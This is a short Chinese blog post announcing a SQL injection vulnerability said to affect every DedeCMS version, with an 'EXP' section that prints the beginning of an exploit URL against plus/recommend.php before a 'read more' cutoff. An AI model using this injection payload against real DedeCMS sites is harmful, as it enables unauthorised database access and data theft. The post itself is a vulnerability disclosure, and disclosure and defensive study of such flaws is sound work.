2014-0303

DedeCMS全版本通杀SQL注入漏洞利用代码及工具

作者: momy 分类: 漏洞发布 0 Comment »

dedecms即织梦（PHP开源网站内容管理系统）。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统，近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：

EXP:

Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'
  or mid　阅读全文>>
                        

                        

                        DedeCMS全版本通杀SQL注入漏洞利用代码及工具
标签: DEDECMS注入漏洞和利用工具 DedeCMS全版本通杀SQL注入漏洞 阅读:20480
当前位置:首页 >> 分类目录 >> 漏洞发布

分类目录

热门文章

时间索引